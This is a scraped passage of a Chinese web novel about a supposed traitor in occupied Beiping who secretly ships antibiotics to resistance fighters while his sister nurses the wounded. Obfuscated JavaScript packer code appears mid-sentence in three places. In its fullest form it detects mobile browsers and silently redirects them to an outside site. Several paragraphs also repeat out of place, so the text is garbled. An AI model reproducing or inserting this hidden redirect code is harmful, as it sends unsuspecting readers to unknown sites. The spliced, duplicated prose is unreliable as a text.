他就是想让那些商会里各行各业的老板们都仔细的瞧瞧,现在整个北平到底是谁做主。 可现在倒好,他的杀鸡儆猴,非但没有恐吓到那群低等的夏国人,反而是让自己折损了两名士兵。 这简直就是相当于狠狠的一巴掌甩在了他的脸上。 “傅君,”佐藤大佐直勾勾的盯着沈听肆的眼睛,“这件事情交给你去办,势必要抓到那个凶手! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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手里揣着一把枪,一脚就将距离发现尸体的最近的一户人家的大门给踹开了,“人呢?都死了吗?都给老子出来!” 一声努喝,从屋子后面走出来颤颤巍巍的夫妻俩。 两人穿着打着补丁的衣裳,互相搀扶着,那双腿抖动的仿佛是得了帕金森一般,“太……太君……有……有什么事?” 沈听肆吊儿郎当的,手里的枪指了指不远处依稀残留着的血迹,“那里死人了,你们知不知道?” 男子忙不迭的点了点头,“知……知道……早上就是我发现的尸体。” 沈听肆发出一声冷笑,直接走过去,用枪口对准了对方的脑门,“那昨天晚上你就没有听到什么动静?” 夫妻俩看着那黑洞洞的枪口,吓的几乎都快要昏过去,本就磕磕绊绊的话,说的越发的不利索了,“睡……睡着了,没听到。” 沈听肆才不信,直接吩咐带来的那些东瀛士兵将夫妻俩屋子里的东西给翻了个遍,“距离这么近还听不见,你们是不是窝藏凶犯?!” “都给我进去搜!” 说是搜查,可真正当那些东瀛士兵动手的时候,又怎会手下留情? 堆积在一起的柴火被推倒,塞着棉花的被子被戳了一个又一个的洞,碗瓢盆全部被推倒在地上摔了个粉碎…… 整个屋子宛如蝗虫过境,片甲不留。 两夫妻立马就跪了下来,声泪俱下的苦苦哀求,“我们真的不知道,求求你们别砸了……” “这让我们以后怎么活啊……” 可沈听肆才不在乎,甚至直接一枪打在了那名男子的脚边。 突如其来的枪响吓得夫妻俩几乎是心脏骤停,两个人直愣愣的跪在那里,张着嘴巴,眼泪不停的往下掉,却忘记了发声。 沈听肆单手举着枪,轻轻吹了一下枪管处冒出来的白烟,然后很是嫌弃的说了一句,“你真的很吵,你知不知道?” “再吵一句,我现在就让你们俩下去见阎王!” 夫妻俩再也不敢发出任何的声响,只能两个人默默的抱在一起,无声的落着泪。 他们俩本就没有窝藏什么嫌犯,自然是搜不出什么东西,等到那些东瀛士兵将夫妻俩的家砸的几乎什么也不剩的时候,沈听肆才大发慈悲的松了口,“行了,既然这里没有,那我们就去下一家瞧瞧吧。” 接下来一整天,沈听肆几乎将案发现场附近的每家每户都给搜查了个遍。 “造孽啊!” 当沈听肆带着东瀛士兵踏着夕阳离去后,原地骤然间爆发出了接二连三的哭泣声来。 “这让我们一家老小以后可怎么活啊?!” “这个狗汉奸,不得好死,你不得好死!!!” “老天爷啊,你能不能显显灵,收了这个叛徒,我求求你……” 一群人的家被毁了个彻底,几乎没有了生存下去的希望。 可他们却在几天后陆陆续续的发现,不知为何,他们的院子里竟然无缘无故的多了许多大洋。 日子一天天的过去,却并没有丝毫的好转,反而是越发的沉重了起来。 南方传来消息,在最近一次大规模的战役当中,反抗军死伤惨重。 一个由几块油布临时拼接出来的简陋医院里,为数不多的几个医生护士们正在紧张的忙碌着。 “傅护士……” 傅云禾喘口气的功夫,就又有人在喊她,她匆忙咽下嘴里的一口水,就迈着步伐急匆匆的赶了过去,“来了!” 她那双被裹起来的三寸金莲已经被完全放开,虽然走路不似寻常女子那般的利索,但却也能跑能跳。 傅云禾念了书,识了字,知道了什么是国家存亡,匹夫有责。 所以,在被沈听肆送到南方以后,傅云禾给张婉容留了一封信,然后偷偷的参加了反抗军。 她没有什么别的手艺,也不太会上阵杀敌,可在治脚的那几个月的时间里,她从老大夫那儿学到了一些简单的医术。 虽然她只能做一些清理伤口,进行包扎等这一类的最简单不过的活,但傅云禾却得到了极大的精神满足,她终于有了人生的目标,也找到了自己存在的意义。 来到了这里,亲眼看到弥漫的烟火,断裂的四肢,傅云禾才终于明白自己曾经的日子过得究竟是有多么的幸福。 虽然她随时都有可能就会这样死去,但傅云禾从不后悔。 这是新时代,有着新的文化,新的思想。 她这个旧式的女子,也能融入进来。 看着那些被他救治了的伤员们脸上洋溢着的笑容,傅云禾很开心。 身为女子,她再也不仅仅只有嫁人这一条出路。 放开的脚走得很快,也很稳,傅云禾课间就找到了喊她的那名护士,“有什么需要我帮忙的?” 那护士指着刚刚送来的一位伤员,“他的腿伤有点严重,我有点儿不太敢下手包扎,你来吧。” “好。”傅云禾轻轻笑了笑,转身就去拿纱布。 但在看清楚那名伤员的脸的时候,傅云禾却突然愣了愣,“温承松……” 16. 第 16 章 似乎是因为刚刚从战场上下来,所以温承松整个人都灰头土脸的,身上的军装不破,但却也是皱皱巴巴,沾满了鲜血和泥巴的印子。 在北平大学的时候,温承松曾经还一度以出众的外表让不少女学生对他芳心暗许。 可此时的他的一张脸却晒得黢黑,原本打理的很好看的二八分的发型也变成了短短的寸头,左眼的眉骨处还留着一道浅浅的疤痕。 温承松呲着一口大白牙笑意盈盈的,仿佛完全感觉不到疼痛一般,甚至还有心思调侃他身旁一直叹气的同伴,“你这不行啊,这点儿小伤就开始不停的哀嚎了,你还是不是个男人?!” 因为他们身上的伤都没有特别的严重。 毕竟在这个战场上,随时随地都有人会死亡,只要是不危及到生命的伤势,都算不得是重伤。 被温承松调侃的人不再是和他始终形影不离的乐倾川,而是另外一个看起来格外年轻的小伙。 听到温承松的话,那名小伙撇着嘴巴愤愤不平,“营长,哪有你这么说话的?我当然是个男人了!” 温承松呲牙咧嘴,“是个男人就别在那嚎!哭哭啼啼的是像什么样子?!” 但就在他话音落下的一瞬间,一双洁白的手探上了他受伤的右腿,紧接着温承松就发出了一阵杀猪般的嚎叫,“嗷嗷嗷!!!疼疼疼!你轻一点!!!” 但是他的腿,不是猪蹄子啊喂!! 从未见过打脸来的如此之快。 躺在他旁边的小伙忍俊不禁,直接哈哈大笑了起来,他咳了两声,微微清了清嗓子,学着刚才温承松说话的语调,“是个男人就别在那儿嚎,哭哭啼啼的像什么样子?” 温承松顷刻间咬紧了牙关,但却还是有抑制不住的痛呼声,从他的齿缝里面传出来。 而且眼泪这种东西根本不受控制,虽然他已经十分努力的大睁着眼睛,不想让自己的眼眶变得湿润,可那生理性的泪水还是不断的涌了出来。 毕竟真的实在是太疼了。 温承松从未这般丢人过,更何况还是在自己刚刚调侃了的下属面前。 他将脑袋转到一边,只留下一个黑漆漆的后脑勺给自己的下属,一叶障目般的,想要将如此丢人的事情给糊弄过去。 但奈何他的下属丝毫没有体会到他这颗羞耻的心,反而依旧喋喋不休。 “哭了吗?是吧……?”小伙子挤眉弄眼,那双眼睛里面闪烁着晶亮亮的光芒,还刻意拖长了尾音,“营长?” 温承松:“……” 他就多余说那个话! 温承松咬了咬牙,气急败坏的的瞪了一眼自己的下属,“再说一句,等回去了,信不信我罚你写大字?!” 红党组织内部识字的人并不多,让他们带兵打仗,上阵杀敌,一个冲的比一个勇,可一旦让他们围在一起读书识字的时候,那跑的是一个比一个快。 温承松的这话成功的抓住了小伙子的命门,他瞬间就禁了身,带着些许调侃的笑容变成了讨好的笑,“旅长,我错了,我真的知道错了,我闭嘴,我再也不说了。” 让他去写字,那简直比杀了他,还要让他感到难受。 有这功夫,还不如多杀几个东瀛人呢。 身旁的人闭上了嘴,腿上的疼痛不断的顺着经脉密密麻麻的爬上头皮,温承松迫切的需要做一件事情来转移注意力,让他没有那么的痛苦,于是便侧眸看向了给自己处理伤口的护士。 温承松伤的是右腿,但并不是被子弹打中的,而是被爆炸的榴弹给波及到了。 右腿大腿以下的所有的皮肤全部都是一片鲜血淋漓,甚至还有一些因为火药的威力太猛而被灼烧碳化成了黑色,一碰就要往下掉渣。 为了防止感染,也为了能够更好的上药,傅云禾需要将温承松右腿上面,残存着的裤子的布料都给扯下来。 在极度的高温下,这些布料早已经被灼烧融化,有的甚至都已经和皮肤粘在了一起,每取下一块布料,都会带着一丝血肉下来。 医院里面缺少药品,麻醉剂,抗生素一类的东西更是少之又少。 傅云禾曾经在治脚的时候,从老大夫那里学到了一种可以减缓痛苦的中药,一副药才熬上满满一大锅,就给伤势不是特别重的伤员们每人灌上一碗。 但这个药材减缓疼痛的程度毕竟有限,温承松还是疼的浑身冷汗直冒,浑身上下的每一个筋脉都绷紧了起来。 “护士,”温承松盯着傅云禾,因为傅云禾戴着口罩,所以温承松并没有认出她来,而是当做一个陌生的护士,随意的聊着天,“你们这里每天都有多少伤患送过来啊?” 傅云禾手上的动作微微停了停。 她原本是并没有打算和温承松说话的。 她的兄长曾经供出了隐藏在北平大学里面那名红党的躲藏地,随后,又为东瀛人做事的事情她也是清楚的。 她不明白为什么兄长教她读书识字,教她什么是家国,什么是民族,让她认识到自己的力量,而兄长却做了和他所说的完全相反的事情。 但她知道兄长的本心一定不坏,或许他有什么不得已的苦衷,她相信教会她找到自己人生价值的兄长,定不是一个贪生怕死,奴颜谄媚的小人。 可她也明白,凭借她一个人是没有办法把这些事情说清楚的,那些人对兄长无比的痛恨,恨不得兄长立马就去死掉。 而这些人当中,更是以兄长曾经对得意的弟子温承松为之最。 她只想要当一个小护士,安安静静的做着自己的事,可温承松却偏偏要和她搭话。 这个人真是讨厌极了。 傅云禾点了点头,轻轻“嗯”了一声,加快了手下的动作。 “嘶——”温承松疼的倒吸了一口冷气,不明白为什么傅云禾的动作突然变得粗暴了起来,“这位护士姑娘,我似乎应该没有得罪过你吧?” 说着这话,温承松仔细的打量着傅云禾,想要看看对方究竟是不是自己曾经见过的人。 可看着看着,温承松就察觉出一丝不对劲来了,这位护士姑娘的眉眼,似乎是格外的熟悉啊。 温承松下意识的问了一声,“我们之前是不是在哪里见过?” “噗嗤,”面对一个如此像搭讪的问题,躺在温承松旁边的小伙子不由自主的笑出了声来,“旅长,方槿同志可还在部队里面等着你安全回去呢,这样原则性的错误,你可千万不能犯啊。” 方槿和温承松互相有好感,两个人之间也总是擦出一些暧昧的气氛来,旅队里面绝大部分的同志都知道他俩是一对。 只不过因为敌寇未消,国家尚难,所以二人都将这种情感压在心底,未曾直接表达出来。 “胡说八道什么呢你?!”温承松挥着拳头就砸了过去,无比坚定的开口道,“十篇大字你是别想跑了!” “嗷——” 伴随着一声痛苦的嚎叫,那名小伙子彻底的闭上了嘴巴。 他错了,早知道自家旅长是如此记仇的人,他就应该当个哑巴! 看着两个人的互动,傅云禾有些无奈的叹了一口气,随后摘下了自己脸上的口罩,“是我,傅云禾,当年傅府一别,倒是有许久未曾见过了。” 傅云禾依旧记得那一日,即使几年过去,但那一日的场景却始终历历在目。 那一日早上出门的兄长还是高高兴兴,意气风发,穿着一身简单的长衫,鼻梁上架着黑框眼镜,手中拿着书本,要去北平大学教国文。 可回来的他,却是满身伤痕累累。 眼睛碎了,衣服破了,手里的国文书本上沾了血。 他那样狼狈不堪的走回来,身后跟着许多他曾经带回傅府过的学生们。 那往日里无比崇拜他的学生,一个个却都变得面目狰狞,满腔愤恨,每个人的拳脚都或多或少的落在了兄长的身上,他们恨不得就那样打死兄长。 傅云禾那是像往常一样的等在门口,等着兄长给她带城南的栗子糕,可她未曾等到心心念念的搞点,等来的除了狼狈不堪的兄长,还有种种不绝于耳的咒骂。 只不过因为敌寇未消,国家尚难,所以二人都将这种情感压在心底,未曾直接表达出来。 温承松当时的那双眼睛红得像是要吃人一样,里面的怒火和恨意宛若滔天巨浪,都快要将傅云禾给吓傻。 那天过后相当长的一段时间里,温承松都成了她的噩梦。 时隔多年,两人再次相见,却竟是在这破破烂烂的临时搭建的医院里。 温承松顿时有些怔住,那双眼睛里面充满了不可思议。 他记忆里的傅云禾,是一个十分胆小怯懦的,裹着小脚的旧式女子。 一直都是怯生生的模样,就连和外男说句话都不敢。 可此时……却出现在这,随时都有可能丧命的战场上。 温承松感觉自己的世界好像出现了一些崩塌。 毕竟,她可是傅青隐的亲妹妹呀! 那个叛徒的亲妹妹! 温承松顿时有些不自在,嘴唇颤抖了半天,才终于吐露出一句话来,“你……你怎么会在这里?” 傅云禾手下的动作没停,只是抬起头来,歪着脑袋露出了一抹疑惑的神色来,“你看不到吗?” “我来这里自然是做护士啊。” “不是,”温承松摇了摇头,“我的意思是,你好端端的大小姐不当,为什么……要跑到这么危险的地方来?” 傅云禾取下温承松腿上最后一块碎布,抓着一把药粉撒了上去,随后抬头直勾勾的望进温承松的眼底,一字一顿的开口道,“你为什么而来,我就为什么而来。” 温承松惊讶不已,完全没想到傅云禾会说出如此的一番话,他迟疑了一瞬,“那……你家里人知道吗?” “当然不知道了,”傅云禾给他的伤口上上好了药,用纱布细细的裹着,“我给家里留了信,偷偷跑出来的。” 温承松仿佛是松了一口气一般的点点头。 是了,那人恨不得自己从未出生在夏国,生来就是个东瀛人。 若是他知道的话,又怎会让傅云禾到这里呢? 终究是他想多了。 “对了,你的脚……”温承松缓了缓,突然又想起了什么,挣扎着看向了傅云禾的脚。 傅云禾轻轻一笑,抬起自己和正常人一样的右脚在温承松面前晃了晃,“我放足了。” 此时温承松的伤势也已经处理完毕,傅云禾在他面前蹦哒了两下,“你瞧,我现在能跑能跳,再也不必被拘在那四四方方的小院子里了。” 温承松也露出了一抹会心的笑来,“恭喜。” “嗯,”傅云禾点头,将所有的工具都收拾起来放在托盘里,转身离开之前,她又问了一句,“你……就从未怀疑过,兄长他有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“让一让,让一让。”抬着温承松的担架急匆匆的进来,将人放好之后,又匆匆地冲了出去。 紧接着又来了好几个这样的伤患,且每个人的情况都和温承松差不多。 傅云禾心中有了一股不祥的预感。 这似乎并不是普通弹药所造成的伤痕? 院长很快的吩咐人清理出了一个单独的病房,将温承松和其他一起送来的伤患们放了进去,甚至还十分严肃的对医生护士们叮嘱道,“治疗这些伤员的时候一定要戴好口罩和手套,千万千万不能用皮肤和他们又有直接的接触,否则会有生命危险,千万要记清楚了!” 有不太明白的医生发出疑问,“院长,这是怎么了吗?” 院长深吸一口气,脸上带着浓烈的悲伤情绪,“东瀛人在弹药里面放了毒气,受伤的同志们全部都中了毒,而且这种毒也不知道会不会被传染……” 只不过因为敌寇未消,国家尚难,所以二人都将这种情感压在心底,未曾直接表达出来。 温承松当时的那双眼睛红得像是要吃人一样,里面的怒火和恨意宛若滔天巨浪,都快要将傅云禾给吓傻。 那天过后相当长的一段时间里,温承松都成了她的噩梦。 傅云禾心中一凛,只觉得阵阵寒意涌上心头,冷得他骨头都在颤抖。 这么大面积的创伤,又加上毒气…… 没有足够的抗生素,这些伤员们,必死无疑。 —— 北平的漕运码头边上,一艘又一艘的大型货轮扬帆起航,通过这条大运河,南来北往,交换着无数的商品。 沈听肆一步一步踩碎了散落在地上的夕阳,站在甲板上,看着那些东瀛的士兵们检查着这艘属于傅家的商船。 傅家是做布匹生意的,商船上面放着的,全部都是一捆又一捆崭新的布。 傅家的女人小孩们全部都被送去了南方,傅烆和傅逸安却留了下来。 毕竟傅家的生意不能不要。 而傅逸安作为下一任的继承人,自然也是要跟在傅烆身边学习的。 附近还有不少的商船都在等候着被检查,可即便那些商户们谨小慎微,连连讨好,看那些检查的东瀛士兵们的行为动作,却都无比的粗鲁。 等到检查完毕以后,商船上面的货物基本上都要被毁掉三分之一,可商户们却是敢怒而不敢言,只能眼睁睁的看着那些东瀛士兵大摇大摆的离开。 而傅家因为有沈听肆的存在,些搜查的东瀛士兵们的动作就要轻缓的多,在傅逸安的的陪同之下,不过几分钟就已经全部检查完毕。 “傅君,愿你生意兴隆。”检查的东瀛士兵在跳下商船的时候,还特意祝福了一句。 沈听肆勾着唇笑了笑,“谢你吉言。” “嘟——” 扬帆,起航,船舱划过巨大的波浪,带着无数的布匹,以及藏在里面的药品,缓缓的驶向了远方。 等到商船从码头驶开,沈听肆便打算转身回去。 可就在这个时候,傅逸安却小跑着追了上来,凑近沈听肆,格外小声的说了句,“我看到了。” “前两日装货的时候,你让人搬了一些别的东西上去。” 17. 第 17 章 傅逸安从小就知道,自己是个上不得台面的“庶子”。 只因为他是由姨太太所生。 虽然前朝的封建政府早已经被推翻了,坐在龙椅之上,高高在上的皇帝也已经不存在。 可因为他们家的祖上是前朝的高官,所以他们家依旧沿袭着那套旧时的封建制度。 即便他们不再蓄着长发,也不在打着辫子,可却依旧喊着爹爹姨娘,依旧嫡庶有别。 在别的小朋友住在小洋楼里的时候,他们却始终住在那座古朴的大宅子里。 从他有记忆开始,他就和自己的姨娘住在一个小院子里,十天半个月都见不到父亲一面。 那时的他格外的想要和父亲亲近,于是便独自一个人偷偷甩开了照顾自己的丫鬟,跑到了前院里去。 可那天他所见到的父亲,却和他往日所见到的完全不一样。 平日里的父亲总是威严严肃的,不苟言笑,什么时候都垮着一张脸,仿佛时刻都在准备着要训斥于他。 唯有他在先生那里念书得到表扬的时候,父亲才会对他扬起一抹笑脸。 所以为了父亲能够对他多笑一笑,他拼了命的努力,白天晚上的都在念书,先生布置的课业一定勤勤恳恳的完成。 他原以为父亲一直都是这个样子,无论对谁。 可那一日,他看到,始终笔挺着身子的父亲,竟然弯了脊背,由着他的兄长,骑在了父亲的脖颈上。 兄长两手扯着父亲的耳朵,笑得格外的开怀,甚至将父亲当成了大马来骑,嘴里还不停的喊着“驾!驾!驾!” 而父亲也未曾生气,两手向上举,紧紧地抓着兄长的腿,防止兄长从他脖颈上掉下来。 那般高大威猛的父亲,不停的在院子里跑来跑去,只为了哄兄长开心。 那日的父亲一点都不严肃,他从未见过父亲那样的喜悦,笑得那样的灿烂。 一时之间都有些看呆了,完全忘记了挪动自己的脚步,以至于院子里伺候的下人发现了他的存在。 喊了他一声“二少爷”。 父亲瞬间收敛了笑容,看过来的目光里面带着冰天雪地的寒,这仿佛他不是父亲的儿子一样。 父亲质问他,“谁让你到这里来的?” 即便如此,父亲却依旧未曾将兄长放下,兄长就那样,骑在父亲的脖子上面望了过来。 兄长并不比他大很多,眼眸中还带着懵懂之色,他似乎不明白,为什么父亲在对待他和自己的时候是截然不同的两种态度。 傅逸安记不得自己那日究竟是如何回去了的,但他却始终清楚的记得,兄长冲他露出一抹灿烂的笑,伸出手来邀请他,“你也想要骑大马吗?” 谁稀罕呢? 谁稀罕他的施舍?!!! 从那一日开始,小小的傅逸安下定了决心,一定要将兄长给超越过去,他要事事比兄长强,事事做的比兄长好,让父亲的眼神落在他的身上,再也移不开去。 自此,傅逸安无论做什么事情都要和傅青隐相比。 傅青隐的字让父亲喜笑颜开,他就要花十倍的时间画一幅让先生都夸赞的画,然后拿去给父亲看。 傅青隐学习骑马,他就要拉弓射箭,傅青隐读《史记》,他就要念四书,傅青隐学弹琴,他就要练吹笛,傅青隐留洋,他自然也要跟着去。 一开始父亲并不同意,但在傅青隐的劝说下,傅逸安终究还是学到了一切他想学的东西。 可不知道从什么时候开始,这份攀比似乎变了初心。 傅逸安原本是想要通过攀比得到父亲的夸赞,让父亲知道他是比傅青隐还要出色的孩子。 可在一次又一次的冷脸当中,傅逸安似乎已经不再将父亲的表扬当成是执念。 他不再期待父亲对他笑,也不再渴望有一天,父亲也能把他架在脖颈上面骑大马。 但他和兄长的攀比却从未停下。 比起小时候渴望父亲的关注,如今的他,更希望能够堂堂正正的赢一次兄长。 因此,在兄长叛变,投靠东瀛的时候,傅逸安是万分欣喜的,因为那样,父亲就不可能在把兄长当成继承人培养,傅家下一任的家主,一定会是他傅逸安。 可当他洋洋得意父亲开始带着他出入商会,让他插手傅家的生意,一步一步放权的时候,他以为他会从兄长的脸上看到惋惜,遗憾,痛苦。 可没有,什么也没有。 兄长只是淡淡的看了他一眼,平静的说了一句“恭喜”。 就仿佛……不,不是仿佛,兄长就是对这一切都毫不在乎。 赢了一个人完全不在意的东西,又怎么能算赢呢? 于是傅逸安便开始暗中观察起来,想要看看兄长究竟在乎些什么。 几日之前,他发现往常对家里的生意完全不感兴趣的兄长,竟然突然关心起布匹来。 傅逸安惊觉这里面其中一定有一些他不曾知道的事情。 这次货船虽然他不必亲自跟着一起运往南方,也是父亲交给他的,第一次全权由他负责的生意。 只要这次生意不出差错,那么父亲就会提前放手,彻底将傅家所有的生意都交到他的手里。 所以傅逸安格外重视,整个货船上面所有商品摆放的位置,他全部都记得一清二楚。 所以在那是看到沈听肆出现在货船上后,傅逸安就留了个心眼,特意将货船都检查了一遍。 然后他就发现那堆成了山的布匹里面,多了一个未曾出现过的箱子。 怀着好奇的心情,他将箱子打开看了一眼,却发现里面竟装了满满的,全部都是药品! 而且所有的药品都是被东瀛人严格管控着的抗生素! 这些药品,要随着送货的船只一起运往南方。 而南方,是反抗军的大本营! 那一瞬间,傅逸安感觉仿佛有一盆带着冰碴子的凉水兜头浇了下来,将他整个人都给浇透了。 时候明明是夏天,但傅逸安却只觉得冷,那股莫名的冷意透过皮肤,渗透进骨头缝里,一直钻进了灵魂深处。 傅逸安眼见到过自己的兄长曾经的那些学生们,是如何痛恨他的,也是亲眼见到过北平城的百姓们,是如何唾弃他的。 “汉奸”,“叛徒”,“卖国贼”…… 种种恶毒到极致的话语,如刀子一般的扎进人的心底。 不见血的硝烟,才最是伤人。 若是兄长当真那样做了的话,倒也算不得什么,就算是被唾骂,被瞧不起,那也是他咎由自取。 可偏偏原本的事实并不是这样! 傅逸安红着眼眶,满脸无措的注视着沈听肆。 这是兄长第二次踏上这艘商船,在周围无数国人鄙夷的目光下,和那些搜查船只的东瀛士兵们言笑晏晏。 可兄长并不是为了自己的幸福安稳的日子,而是为了那些反抗军们能有药品,在战场上受伤以后还能够活下来,能够保住一条命。 心底升起的秘密麻麻的疼痛,如同潮水一般,几乎要将傅逸安彻底的给淹没掉。 他从来都不知道,从来都不知道会有这样的事情。 他曾经还误会过兄长,还以兄长投靠了东瀛人,放弃了傅家的继承权,而沾沾自喜过。 可兄长明明比他大不了几岁! 一个被几乎所有人唾弃的,一个生活在足够富贵的家庭里的,本该安安稳稳度过青少年时期,然后坐上一家之主的位子,顺带在大学里面教教书,收获无数人敬仰的人。 却在所有人都未曾看到的地方,背负着本该并不属于他的骂名,瑀瑀独行。 傅逸安不知道被兄长送去的这些药究竟可以救下多少反抗军的成员,也不知道这些药究竟是如何搜集起来的。 但他知道这一定千难万难。 可到现在为止,除了他以外,从未有任何一个人发现过兄长的所作所为。 没有人知道他那看起来漆黑无比,恶毒异常的心脏里面,包裹着一个怎样爱国的胸怀。 兄长不说,却只偷偷的做。 众人只知道北平大学最年轻的教授,傅家的长子,是一个卖国求荣的汉奸! 傅逸安每一次的呼吸都变得无比的煎熬,他不知道该如何透露,他已经知道了兄长所做的事情,他也不知道如何才能够帮一帮兄长。 所以他只能,在无人注意到的地方,偷偷的,告诉兄长。 他和他是一起的。 “我看见了你往布匹里面藏的药。”傅逸安如是说着,渴望得到沈听肆的回答。 可他一时之间又不知道该如何面对。 万一傅青隐觉得他不怀好心怎么办? 他害怕在沈听肆的脸上看到忌惮或者是怀疑的神色来,于是只能强迫自己扭过头去。 就像是一个鹌鹑一样,看不见,就可以当做从未发生。 傅逸安说完这话就一边往前走,一边竖起耳朵等待,可他走了好几步,却始终未曾听到身后的人有任何的话语声传出来。 下意识的回过了头去,想要看看沈听肆究竟在做什么,结果就看见对方站在原地没有动,正眉眼含笑的望着他。 傅逸安悄然藏起不断颤抖着的双手,哑着嗓子问了一句,“兄长……你就没有想过我会告密吗?” 一旦他将这件事情告诉东瀛人,那么迎接沈听肆的,就是必死的结局。 沈听肆轻轻摇了摇头,无比肯定的回答了一句,“我知道你不会这么做。” 为了能够保证这批药品可以顺顺利利的到达南方,也确保自己的身份不会被揭穿,沈听肆对于这批药品的看管自然是十分严苛的。 傅逸安自以为不动声色的查验了这批药品,可实际上,沈听肆在他动手后没多久就已经发现了。 在傅逸安监视着沈听肆的这几天时间里,沈听肆也在一直观察着傅逸安。 若是在这个过程当中,傅逸安表现出一丝一点想要告密的想法,恐怕他现在就没有机会再站在这里和沈听肆说话,而是一具永远都没有办法再开口的尸体了。 原主傅青隐对于这个弟弟的感情其实是非常复杂的,在幼年的时候,傅青隐也想要和这个弟弟友好相处,就像其他人家的兄弟一样,相亲相爱的。 可奈何傅逸安事事都要和他争个高低,而且每次见到傅青隐的时候都是夹枪带棒的,说话的时候可是专门挑着往对方痛处去扎。 或许是当局者迷吧,沈听肆却发现了这兄弟俩的另一个方面。 比起针锋相对,沈听肆则是看到了傅逸安渴望和自己的兄长并肩作战的一面。 傅逸安实际上就是一个彻头彻尾的哥控,在他的心里,兄长永远都是最棒的。 兄长就是他这辈子的人生目标,他在始终向着这个目标而努力。 这也是沈听肆在发现傅逸安观察着自己的时候,并没有第一时间就对他下手的原因。 如今看来,他的猜测并没有错。 得到沈听肆肯定的回答,傅逸安心底的酸涩更重了几分,“可是他们……全部都在骂你。” 沈听肆颇有些诧异,他歪了歪脑袋,带着些许疑惑的开口,“那又有什么关系呢?” “对我而言,”在傅逸安面前,沈听肆一点一点的,将原主的想法剖开了来,“我只要做了我认为对的事情,并且并不会因此而感到后悔,那就已经足够了。” “至于旁人如何去说……与我何干?” 傅逸安的心脏突然泛起一股钻心的疼。 如此漠然的眼神让他明白,沈听肆从未在乎过那些身后名。 ——他只做他自己想做的,至于别人的看法和眼光,全部都无所谓。 他咬了咬牙,转身走回沈听肆的身边,抬起头来看着他,一字一顿的说道,“让我帮你,好不好?” 一个人背负着这么多,真的太累太累了。 哪怕是可以帮兄长分担那么一丁点,也可以让兄长稍微喘口气吧? 沈听肆没有回答,仿佛是在思索着这件事情的可行性。 傅逸安清晰的话语终于变的呢喃了起来,带着一丝呜咽的悲鸣,“兄长……求你,你能做到的,我也可以。” 在原本的剧情当中,傅青隐独自一个人承受着一切,从未有人知道他的想法,也从未有人对他伸出过援手。 因此面对傅逸安的请求,沈听肆迟疑了。 他教傅云禾读书识字,让她认识到更为广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536862|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袤的世界,是因为这里对于女子太过于苛求,而且傅云禾一个人,也不会对剧情造成什么太大的影响,更何况她已经被送去了南方,并不会有生命危险。 可若是傅逸安参与进来,沈听肆很难保证他的安全。 傅逸安看出了沈听肆的疑虑,忽然伸手紧紧的抱住了他的胳膊,像个小孩子一样撒娇道,“求求你了……” “身为一个夏国人,我也想要为这个国家做一些力所能及的事情,要是我不知道兄长的所作所为,或许我尚且能够心安理得的过着这样闲散肆意的日子。” “可是,兄长……”傅逸安目光越发的坚定,“亲眼看着家园被毁,无人能不恨,我和兄长念过同样的书,见识过同样的天空,兄长恨不得将那些侵略者们挫骨扬灰,我又何尝不是呢?” 见沈听肆一直没有开口同意,傅逸安自嘲一般的扯了扯嘴角,“罢了,罢了,终究是兄长看不上我,兄长若是瞧不上我这点微薄的力量,那我直接下次跟随商船去南方,到前线和他们杀敌去。” 沈听肆只觉得心头一阵无奈,他叹了一口气,缓缓陈述着一个不争的事实,“我无法保证你的生命安全。” 傅逸安喜滋滋的,一脸的无所谓,“没关系啦,再说了,我哪会那么容易就死?” 傅逸安不知晓,他此话竟是一语成谶。 —— 温承松等人到达南方后,得知陈尽忠曾经寄出去的那封举荐“沈先生”信早已经得到了批准。 于是,他们迫不及待的也寄了一封信回北平,把组织上已经同意了“沈先生”加入红党的这件事情寄到了小乞丐们居住的那个废弃厂房里。 如此一来,“沈先生”就有了光明正大的身份。 但是寄信终究还是有暴露的风险,毕竟任何人都无法保证在信件到达的过程当中,会不会被人拆开了看。 正好沈听肆这里有一个电报机,如此一来,传递信息就方便得多。 只要知道双方的密钥,就可以互相传递消息。 只不过沈听肆白日里要去东瀛人那里上班,因此,每每都是晚上下班回家以后,在自己的书房里面处理通过电报机获取来的情报。 但这样一来,就会出现不及时的情况。 傅逸安主动将这个责任揽了过去,“我平常都在家啦,兄长放心,我这个人嘴巴最严了,就连父亲我都不会向他提及一分一毫的。” 于是,沈听肆将自己从系统那里学来的有关于电报机的知识教给了傅逸安。 若是遇上十分紧急的情况,就由傅逸安暂时处理,处理不了的,就等着沈听肆回来一起商量。 这一天,傅逸安像往常一样通过密钥翻译得来的电报,翻译出来以后,得知这是一条来自于南方的信息。 北平商会的会长王新明,曾无数次的给南方偷偷运送过物资。 但是目前这件事情似乎已经被东瀛人给得知了,这些人抓住了王新明的家人,逼迫着王新明将和南方反抗军有往来的人员名单全部给交出来。 虽然温承松等主角团几人早已经离开了北平,可北平还是有不少的反抗军同志存在,这份电报发过来的终极目的就是希望“沈先生”能够和其他的反抗军同志们配合,救出王新明会长的妻儿,以此保证那份名单并不会落到东瀛人的手里。 此番任务不似之前刺杀渡边信长,整个平都已经落入到了东瀛人的手中,所以刺杀任务会格外的危险。 傅逸安看到这个任务的第一时间,又将它翻译出来的那张字条给撕了个粉碎。 